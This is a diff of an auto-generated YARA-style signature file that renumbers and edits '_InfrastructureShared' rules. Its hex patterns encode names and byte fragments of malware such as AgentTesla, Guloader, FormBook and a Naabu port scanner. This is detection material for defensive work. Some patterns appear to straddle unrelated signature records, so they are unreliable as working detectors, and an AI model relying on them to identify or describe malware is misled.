_InfrastructureShared_13109{ +rule _InfrastructureShared_13973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -147346,7 +157235,7 @@ rule _InfrastructureShared_13109{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13110{ +rule _InfrastructureShared_13974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -147360,7 +157249,7 @@ rule _InfrastructureShared_13110{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*47+(#a_61_2 & 1)*25193+(#a_79_3 & 1)*24946+(#a_00_4 & 1)*32) >=1 } -rule _InfrastructureShared_13111{ +rule _InfrastructureShared_13975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -147374,7 +157263,7 @@ rule _InfrastructureShared_13111{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29281+(#a_70_2 & 1)*28483+(#a_6e_3 & 1)*30496+(#a_00_5 & 1)*9722) >=1 } -rule _InfrastructureShared_13112{ +rule _InfrastructureShared_13976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -147385,7 +157274,7 @@ rule _InfrastructureShared_13112{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101) >=1 } -rule _InfrastructureShared_13113{ +rule _InfrastructureShared_13977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147395,7 +157284,7 @@ rule _InfrastructureShared_13113{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13114{ +rule _InfrastructureShared_13978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147406,7 +157295,7 @@ rule _InfrastructureShared_13114{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408) >=2 } -rule _InfrastructureShared_13115{ +rule _InfrastructureShared_13979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147417,7 +157306,7 @@ rule _InfrastructureShared_13115{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*9473) >=2 } -rule _InfrastructureShared_13116{ +rule _InfrastructureShared_13980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147428,7 +157317,7 @@ rule _InfrastructureShared_13116{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*24977) >=2 } -rule _InfrastructureShared_13117{ +rule _InfrastructureShared_13981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147438,7 +157327,7 @@ rule _InfrastructureShared_13117{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13118{ +rule _InfrastructureShared_13982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147449,7 +157338,7 @@ rule _InfrastructureShared_13118{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*1553) >=2 } -rule _InfrastructureShared_13119{ +rule _InfrastructureShared_13983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -147460,37 +157349,21 @@ rule _InfrastructureShared_13119{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*105) >=2 } -rule _InfrastructureShared_13120{ +rule _InfrastructureShared_13984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_54_0 = {3a 4c 65 63 70 65 74 65 78 2e 42 32 00 01 00 11 03 68 10 74 41 00 8b 90 01 02 fc ff ff 51 ff 15 90 00 01 00 1c 03 6a 04 8d 45 cc 50 8b 85 90 01 02 ff ff 83 c0 08 50 ff b5 90 01 02 ff ff ff 15 90 00 02 00 21 01 64 66 69 75 73 6f 64 69 38 39 61 64 66 } //18467 - $a_00_1 = {00 00 00 6d 79 4e 61 6d 65 49 73 50 65 70 65 00 02 00 21 01 6d 79 4e 61 6d 65 49 73 50 65 70 65 00 00 00 00 64 66 69 75 73 6f 64 69 38 39 61 64 66 37 61 73 00 02 00 20 01 2c 00 77 a4 0d ad 75 58 5f bb 85 ed 0f b1 f9 37 8c 18 7e cf e5 38 62 2b a0 40 f3 1e aa 7a c9 0f 00 00 78 be 00 00 02 00 02 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //24887 - $a_34_2 = {53 6c 69 63 6b 4d 79 74 68 2e 42 21 64 68 61 00 01 00 11 42 b9 0f 17 99 09 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 7b eb 95 8d e8 90 01 02 ff ff 48 83 } //28265 - $a_00_3 = {01 00 11 42 b9 34 44 b9 45 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1b 01 97 05 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1e 1a bf 42 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 9f 23 ce 00 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 75 38 db 02 e8 90 01 02 ff ff 48 83 c4 28 90 00 00 00 78 be 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 61 61 62 75 50 } //10436 - $a_53_4 = {61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 70 6f 72 74 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 73 63 61 6e 01 00 24 01 6e 61 } //29295 + $a_00_1 = {00 00 00 6d 79 4e 61 6d 65 49 73 50 65 70 65 00 02 00 21 01 6d 79 4e 61 6d 65 49 73 50 65 70 65 00 00 00 00 64 66 69 75 73 6f 64 69 38 39 61 64 66 37 61 73 00 02 00 20 01 2c 00 77 a4 0d ad 75 58 5f bb 85 ed 0f b1 f9 37 8c 18 7e cf e5 38 62 2b a0 40 f3 1e aa 7a c9 0f 00 00 78 be 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //24887 + $a_6e_2 = {34 2f 4e 61 61 62 75 50 6f 72 74 53 63 61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 70 6f 72 74 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 } //22330 + $a_61_3 = {75 2f 76 32 2f 70 6b 67 2f 73 63 61 6e 01 00 24 01 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 72 65 73 75 6c 74 2e 28 2a 52 65 73 75 6c 74 29 2e 48 61 73 49 50 53 00 00 78 be 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f } //28207 + $a_54_4 = {6f 6c 73 65 74 5f 41 70 72 31 37 5f 64 72 69 76 65 72 73 5f 49 6d 70 6c 00 01 00 36 03 2e 3f 41 56 46 65 46 69 6e 61 6c 6c 79 46 61 69 6c 75 72 65 40 40 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2d 03 68 5a 77 4c 6f 61 64 44 } //28789 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24887+(#a_34_2 & 1)*28265+(#a_00_3 & 1)*10436+(#a_53_4 & 1)*29295) >=2 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24887+(#a_6e_2 & 1)*22330+(#a_61_3 & 1)*28207+(#a_54_4 & 1)*28789) >=2 } -rule _InfrastructureShared_13121{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6c 69 63 6b 4d 79 74 68 2e 42 21 64 68 61 00 01 00 11 42 b9 0f 17 99 09 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 7b eb 95 8d e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 } //16675 - $a_45_1 = {90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1b 01 97 05 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1e 1a bf 42 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 9f 23 ce 00 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 75 38 db 02 e8 90 01 02 ff ff 48 83 c4 28 90 00 00 00 78 be 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 61 61 62 75 50 6f 72 74 53 63 61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 } //17460 - $a_2f_2 = {32 2f 70 6b 67 2f 70 6f 72 74 01 00 2d 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 73 63 61 6e 01 00 24 01 6e 61 61 62 75 2f 76 32 2f 70 6b 67 2f 72 65 73 75 6c 74 2e 28 2a 52 65 73 75 6c 74 29 2e 48 61 73 49 50 53 00 00 78 be 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a } //25185 - $a_3a_3 = {6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 64 72 69 76 65 72 73 5f 49 6d 70 6c 00 01 00 36 03 2e 3f 41 56 46 65 46 69 6e 61 6c 6c 79 46 61 69 6c 75 72 65 40 40 90 19 01 09 61 2d 7a 41 2d } //12889 - $a_39_4 = {09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2d 03 68 5a 77 4c 6f 61 64 44 72 69 76 65 72 90 19 01 09 61 2d 7a 41 2d 5a } //12378 - $a_90_5 = {01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 09 01 b0 01 e8 58 04 00 00 c3 33 00 00 78 be 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 5f 47 6f 6c } //11568 - $a_2e_6 = {31 00 02 00 30 01 34 45 5f 36 46 5f 34 39 5f 36 42 5f 36 31 5f 37 32 5f 37 35 5f 37 33 5f 32 30 5f 32 42 5f 32 30 5f 34 39 5f 36 45 5f 36 41 5f 36 35 5f 36 33 5f 01 00 20 01 36 31 5f 36 45 5f 37 34 5f 36 39 5f 35 33 5f 36 31 5f 36 45 5f 36 34 5f 36 39 5f 36 35 5f 30 30 02 00 44 01 37 34 5f } //27746 - condition: - ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*17460+(#a_2f_2 & 1)*25185+(#a_3a_3 & 1)*12889+(#a_39_4 & 1)*12378+(#a_90_5 & 1)*11568+(#a_2e_6 & 1)*27746) >=2 - -} -rule _InfrastructureShared_13122{ +rule _InfrastructureShared_13985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147502,7 +157375,7 @@ rule _InfrastructureShared_13122{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12918+(#a_2f_2 & 1)*27504) >=3 } -rule _InfrastructureShared_13123{ +rule _InfrastructureShared_13986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147514,7 +157387,7 @@ rule _InfrastructureShared_13123{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30060+(#a_4c_2 & 1)*21325) >=3 } -rule _InfrastructureShared_13124{ +rule _InfrastructureShared_13987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147526,7 +157399,7 @@ rule _InfrastructureShared_13124{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*13663+(#a_30_2 & 1)*24390) >=3 } -rule _InfrastructureShared_13125{ +rule _InfrastructureShared_13988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147538,7 +157411,7 @@ rule _InfrastructureShared_13125{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29700+(#a_2e_2 & 1)*29295) >=3 } -rule _InfrastructureShared_13126{ +rule _InfrastructureShared_13989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147549,7 +157422,7 @@ rule _InfrastructureShared_13126{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28561) >=3 } -rule _InfrastructureShared_13127{ +rule _InfrastructureShared_13990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147560,7 +157433,7 @@ rule _InfrastructureShared_13127{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1043) >=3 } -rule _InfrastructureShared_13128{ +rule _InfrastructureShared_13991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -147571,7 +157444,7 @@ rule _InfrastructureShared_13128{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_13129{ +rule _InfrastructureShared_13992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -147584,7 +157457,7 @@ rule _InfrastructureShared_13129{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*20565+(#a_61_2 & 1)*101+(#a_43_3 & 1)*8224) >=3 } -rule _InfrastructureShared_13130{ +rule _InfrastructureShared_13993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -147597,7 +157470,7 @@ rule _InfrastructureShared_13130{ ((#a_63_0 & 1)*18467+(#a_65_1 & 1)*28271+(#a_6c_2 & 1)*25427+(#a_74_3 & 1)*29806) >=3 } -rule _InfrastructureShared_13131{ +rule _InfrastructureShared_13994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -147609,7 +157482,7 @@ rule _InfrastructureShared_13131{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*24900+(#a_20_2 & 1)*10843) >=4 } -rule _InfrastructureShared_13132{ +rule _InfrastructureShared_13995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -147621,7 +157494,7 @@ rule _InfrastructureShared_13132{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*17524+(#a_44_2 & 1)*19968) >=4 } -rule _InfrastructureShared_13133{ +rule _InfrastructureShared_13996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -147633,7 +157506,7 @@ rule _InfrastructureShared_13133{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*79+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_13134{ +rule _InfrastructureShared_13997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -147645,7 +157518,7 @@ rule _InfrastructureShared_13134{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*-254+(#a_73_3 & 1)*17409) >=4 } -rule _InfrastructureShared_13135{ +rule _InfrastructureShared_13998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -147657,7 +157530,7 @@ rule _InfrastructureShared_13135{ ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*25655+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_13136{ +rule _InfrastructureShared_13999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -147670,7 +157543,7 @@ rule _InfrastructureShared_13136{ ((#a_4c_0 & 1)*21539+(#a_d3_1 & 1)*18435+(#a_52_2 & 1)*19745+(#a_36_3 & 1)*13621) >=4 } -rule _InfrastructureShared_13137{ +rule _InfrastructureShared_14000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -147683,7 +157556,7 @@ rule _InfrastructureShared_13137{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25714+(#a_00_3 & 1)*4+(#a_52_4 & 1)*21320) >=4 } -rule _InfrastructureShared_13138{ +rule _InfrastructureShared_14001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -147697,7 +157570,7 @@ rule _InfrastructureShared_13138{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29301+(#a_41_2 & 1)*20538+(#a_6f_3 & 1)*8300+(#a_78_4 & 1)*11884) >=4 } -rule _InfrastructureShared_13139{ +rule _InfrastructureShared_14002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -147712,7 +157585,7 @@ rule _InfrastructureShared_13139{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*21860+(#a_6f_2 & 1)*14930+(#a_72_3 & 1)*29795+(#a_53_4 & 1)*14964+(#a_49_5 & 1)*17441) >=4 } -rule _InfrastructureShared_13140{ +rule _InfrastructureShared_14003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -147725,7 +157598,7 @@ rule _InfrastructureShared_13140{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25441+(#a_57_2 & 1)*19529+(#a_48_3 & 1)*8546) >=5 } -rule _InfrastructureShared_13141{ +rule _InfrastructureShared_14004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147739,7 +157612,7 @@ rule _InfrastructureShared_13141{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30066+(#a_21_2 & 1)*19522+(#a_63_3 & 1)*31087+(#a_09_4 & 1)*18176) >=5 } -rule _InfrastructureShared_13142{ +rule _InfrastructureShared_14005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147752,7 +157625,7 @@ rule _InfrastructureShared_13142{ ((#a_46_0 & 1)*16675+(#a_14_1 & 1)*4362+(#a_0a_2 & 1)*400+(#a_09_3 & 1)*2904) >=5 } -rule _InfrastructureShared_13143{ +rule _InfrastructureShared_14006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147766,7 +157639,7 @@ rule _InfrastructureShared_13143{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26739+(#a_67_2 & 1)*12108+(#a_69_3 & 1)*29285+(#a_6a_4 & 1)*29268) >=5 } -rule _InfrastructureShared_13144{ +rule _InfrastructureShared_14007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147780,7 +157653,7 @@ rule _InfrastructureShared_13144{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_67_2 & 1)*12108+(#a_24_3 & 1)*-32475+(#a_37_4 & 1)*13110) >=5 } -rule _InfrastructureShared_13145{ +rule _InfrastructureShared_14008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147789,26 +157662,39 @@ rule _InfrastructureShared_13145{ $a_36_1 = {33 65 37 66 31 2d 34 31 30 64 2d 34 61 65 63 2d 39 33 30 62 2d 66 35 30 65 37 66 30 32 65 30 63 33 01 00 13 81 01 67 65 74 5f 4d 61 6e 61 67 65 64 54 68 72 65 61 64 49 64 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 be 00 00 05 00 05 00 } //9217 $a_23_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 31 30 32 33 21 } //5 STR:Trojan:MSIL/AgentTesla.R1023! $a_00_3 = {01 00 1c 01 70 6f 64 7a 69 61 6c 79 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 30 64 63 32 38 65 35 66 2d 30 37 34 61 2d 34 34 36 30 2d 38 30 36 65 2d 34 61 62 65 65 30 30 33 34 34 39 65 01 00 07 } //19781 - $a_74_4 = {47 65 74 01 00 0f 01 32 30 4a 79 42 2e 72 65 73 6f 75 72 63 65 73 01 00 23 01 4e 7e 74 72 51 38 68 77 45 4a 52 5f 58 45 21 42 35 6c 5c 2a 40 66 3e 31 4a 2e 72 65 73 6f 75 72 63 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 } //19457 + $a_74_4 = {47 65 74 01 00 0f 01 32 30 4a 79 42 2e 72 65 73 6f 75 72 63 65 73 01 00 23 01 4e 7e 74 72 51 38 68 77 45 4a 52 5f 58 45 21 42 35 6c 5c 2a 40 66 3e 31 4a 2e 72 65 73 6f 75 72 63 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 } //19457 condition: ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*9217+(#a_23_2 & 1)*5+(#a_00_3 & 1)*19781+(#a_74_4 & 1)*19457) >=5 } -rule _InfrastructureShared_13146{ +rule _InfrastructureShared_14009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 31 30 32 33 21 45 4d 4c 00 01 00 1c 01 70 6f 64 7a 69 61 6c 79 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 30 64 63 32 38 65 35 66 2d 30 37 34 } //18467 $a_34_1 = {30 2d 38 30 36 65 2d 34 61 62 65 65 30 30 33 34 34 39 65 01 00 07 01 4c 61 74 65 47 65 74 01 00 0f 01 32 30 4a 79 42 2e 72 65 73 6f 75 72 63 65 73 01 00 23 } //11617 - $a_74_2 = {51 38 68 77 45 4a 52 5f 58 45 21 42 35 6c 5c 2a 40 66 3e 31 4a 2e 72 65 73 6f 75 72 63 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 59 31 32 33 21 4d 54 42 00 01 00 25 81 01 68 61 72 6d 6c 65 73 73 6e 65 73 73 20 74 61 70 65 74 73 65 72 6d 65 73 74 65 72 20 74 61 72 66 6c 6f 77 65 72 01 00 18 81 01 6f 6c } //19969 - $a_69_3 = {64 65 72 6e 65 73 20 74 72 6f 6d 6c 65 6e 64 65 73 01 00 11 81 01 69 6c 74 65 6e 64 65 73 20 73 75 62 73 65 63 74 73 01 00 07 81 01 62 65 6c 61 74 65 64 01 00 26 81 01 74 6f 74 61 6c 74 20 73 6b 75 6c 64 65 72 74 61 73 6b 65 72 6e 65 73 20 73 75 62 6b 75 6c 74 75 72 65 72 6e 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 } //25961 - $a_54_4 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 4a 31 32 33 21 4d 54 42 00 01 00 10 81 01 61 75 74 68 6f 72 6c 79 20 73 6b 61 6b 62 72 74 01 00 27 81 01 6d 65 6e 6f 62 72 61 6e 63 68 69 64 61 65 20 63 75 73 74 6f 6d 68 6f 75 73 65 20 62 72 } //18467 + $a_74_2 = {51 38 68 77 45 4a 52 5f 58 45 21 42 35 6c 5c 2a 40 66 3e 31 4a 2e 72 65 73 6f 75 72 63 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4b 41 33 34 00 01 00 23 81 01 50 72 6f 6a 65 63 74 57 69 6e 64 6f 77 73 46 6f 72 6d 73 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 05 81 01 53 70 6c 69 } //19969 + $a_6e_4 = {6f 6b 65 01 00 25 81 01 24 31 32 33 34 35 36 37 38 2d 31 32 33 34 2d 35 36 37 38 2d 39 61 62 63 2d 31 32 33 34 35 36 37 38 39 30 31 32 01 00 28 81 01 50 72 6f 6a 65 63 74 57 69 6e 64 6f 77 73 46 6f 72 6d 73 2e 50 72 6f } //385 condition: - ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*11617+(#a_74_2 & 1)*19969+(#a_69_3 & 1)*25961+(#a_54_4 & 1)*18467) >=5 + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*11617+(#a_74_2 & 1)*19969+(#a_6e_4 & 1)*385) >=5 } -rule _InfrastructureShared_13147{ +rule _InfrastructureShared_14010{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4b 41 33 34 00 01 00 23 81 01 50 72 6f 6a 65 63 74 57 69 6e 64 6f 77 73 46 6f 72 6d 73 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 05 81 01 53 70 6c 69 74 01 00 06 81 01 } //18467 + $a_6f_1 = {65 01 00 25 81 01 24 31 32 33 34 35 36 37 38 2d 31 32 33 34 2d 35 36 37 38 2d 39 61 62 63 2d 31 32 33 34 35 36 37 38 39 30 31 32 01 00 28 81 01 50 72 6f 6a 65 63 74 57 69 6e 64 6f 77 73 46 6f 72 6d 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //28233 + $a_2e_2 = {55 55 59 31 32 33 21 4d 54 42 00 01 00 25 81 01 68 61 72 6d 6c 65 73 73 6e 65 73 73 20 74 61 70 65 74 73 65 72 6d 65 73 74 65 72 20 74 61 72 66 6c 6f 77 65 72 01 00 18 81 01 6f 6c 69 65 6b 69 6c 64 65 72 6e 65 73 20 74 72 6f 6d 6c 65 6e 64 65 73 01 00 11 81 01 69 6c 74 65 6e 64 65 73 20 73 75 62 73 65 63 74 73 01 00 07 81 01 62 65 6c 61 74 } //25956 + $a_00_3 = {26 } //25701 & + $a_6f_4 = {61 6c 74 20 73 6b 75 6c 64 65 72 74 61 73 6b 65 72 6e 65 73 20 73 75 62 6b 75 6c 74 75 72 65 72 6e 65 73 00 00 78 be 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 4a 31 32 33 21 4d 54 42 00 01 00 10 81 01 61 75 74 68 6f 72 6c 79 20 73 6b 61 6b 62 72 74 01 00 27 81 01 6d 65 6e 6f 62 72 61 6e 63 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_2e_2 & 1)*25956+(#a_00_3 & 1)*25701+(#a_6f_4 & 1)*385) >=5 + +} +rule _InfrastructureShared_14011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147821,7 +157707,7 @@ rule _InfrastructureShared_13147{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_47_2 & 1)*12851+(#a_72_3 & 1)*28526) >=5 } -rule _InfrastructureShared_13148{ +rule _InfrastructureShared_14012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -147829,19 +157715,19 @@ rule _InfrastructureShared_13148{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 4a 31 32 